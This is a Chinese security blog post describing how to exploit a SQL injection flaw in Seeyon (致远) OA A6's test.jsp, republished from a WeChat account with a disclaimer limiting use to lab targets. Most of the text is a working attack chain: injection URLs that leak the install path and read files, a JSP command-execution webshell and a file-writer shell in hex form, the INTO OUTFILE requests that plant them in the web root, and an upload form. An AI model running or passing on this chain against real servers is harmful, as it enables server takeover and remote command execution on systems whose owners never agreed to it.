致远OA A6 test.jsp 存在sql注入漏洞

admin 2022年12月19日12:01:12评论320 views字数 3923阅读13分4秒阅读模式
致远OA A6 test.jsp 存在sql注入漏洞
    文章声明

安全技术类文章仅供参考,此文所提供的信息仅针对漏洞靶场进行渗透,未经授权请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
本文所提供的工具仅用于学习,禁止用于其他目的,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。

一、漏洞描述

用友致远A6协同管理系统:面向广大的企事业组织应用设计,是一个基于互联网的高效协同工作平台和优秀的协同管理系统。它融入先进的协同管理理念,运用领先的网络技术,切实有效的解决企事业组织工作管理中的关键应用。利用它可把日常管理中的业务、事务、事件等信息在单位、部门、组群、个人之间进行及时高效、有序可控、全程共享的沟通和处理。是一套非常适合国情的、并具有很高性价比的软件。

致远OA A6的test.jsp存在sql注入漏洞,攻击者可以通过注入漏洞写入webshell文件控制服务器。

二、漏洞复现

先测试系统是否存在test.jsp文件,访问如下地址

http://xx.xx.xx.xx/yyoa/common/js/menu/test.jsp

致远OA A6 test.jsp 存在sql注入漏洞

可以看到是存在该文件且被解析了的,那么接下来测试sql注入漏洞是否存在。poc如下,查看数据库安装路径(后面写入webshell需要)

http://xx.xx.xx.xx/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT @@basedir)

致远OA A6 test.jsp 存在sql注入漏洞

从响应来看,确实存在sql注入,并且可以推测出web应用的根目录是

D:/UFseeyon/OA/tomcat/webapps/yyoa

也可以使用load_file判断是否正确

select load_file('D:/UFseeyon/OA/tomcat/webapps/yyoa/WEB-INF/web.xml')

致远OA A6 test.jsp 存在sql注入漏洞

确定了网站绝对路径之后,那么接下来就是写入webshell了

这里利用into outfile写入webshell,但是需要满足一些前置条件

1、数据库的当前用户为ROOT或拥有FILE权限;(FILE权限指的是对服务器主机上文件的访问) 2、知道网站目录的绝对路径;3、MySQL中的secure_file_priv参数不能为NULL状态。

由于jsp文件中存在特殊符号,所以我们要先对jsp木马进行hex编码

hex编码前
<% if("0".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
hex编码后
3c25206966282230222e657175616c7328726571756573742e676574506172616d657465722822707764222929297b206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822692229292e676574496e70757453747265616d28293b20696e742061203d202d313b20627974655b5d2062203d206e657720627974655b323034385d3b206f75742e7072696e7428223c7072653e22293b207768696c652828613d696e2e7265616428622929213d2d31297b206f75742e7072696e746c6e286e657720537472696e67286229293b207d206f75742e7072696e7428223c2f7072653e22293b207d20253e

接着利用如下poc写入webshell

http://xx.xx.xx.xx/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex('3c25206966282230222e657175616c7328726571756573742e676574506172616d657465722822707764222929297b206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822692229292e676574496e70757453747265616d28293b20696e742061203d202d313b20627974655b5d2062203d206e657720627974655b323034385d3b206f75742e7072696e7428223c7072653e22293b207768696c652828613d696e2e7265616428622929213d2d31297b206f75742e7072696e746c6e286e657720537472696e67286229293b207d206f75742e7072696e7428223c2f7072653e22293b207d20253e') into outfile 'D:/UFseeyon/OA/tomcat/webapps/yyoa/swz01.jsp'

出现如下图,则说明可能成功

致远OA A6 test.jsp 存在sql注入漏洞

直接访问测试是否写入成功

http://xx.xx.xx.xx/yyoa/swz01.jsp?pwd=0&i=whoami

致远OA A6 test.jsp 存在sql注入漏洞

当然,由于jsp一句话木马太长了,请求连接会拒绝,所以也可以先上传写文件的脚本,然后再本地构造进行webshell上传

hex编码前<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
hex编码后3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E

先上传写文件的脚本

http://xx.xx.xx.xx/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex('3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E') into outfile 'D:/UFseeyon/OA/tomcat/webapps/yyoa/swz02.jsp'

然后本地构造上传

<html>    <form action="http://xx.xx.xx.xx/yyoa/swz02.jsp?f=swz03.jsp" method="post">        <textarea name=t cols=120 rows=10 width=45>your code</textarea>        <input type="submit" value="提交">    </form></html>

致远OA A6 test.jsp 存在sql注入漏洞

致远OA A6 test.jsp 存在sql注入漏洞

最后用蚁剑进行测试

致远OA A6 test.jsp 存在sql注入漏洞

原文始发于微信公众号(守卫者安全):致远OA A6 test.jsp 存在sql注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月19日12:01:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   致远OA A6 test.jsp 存在sql注入漏洞https://cn-sec.com/archives/1463470.html

发表评论

匿名网友 填写信息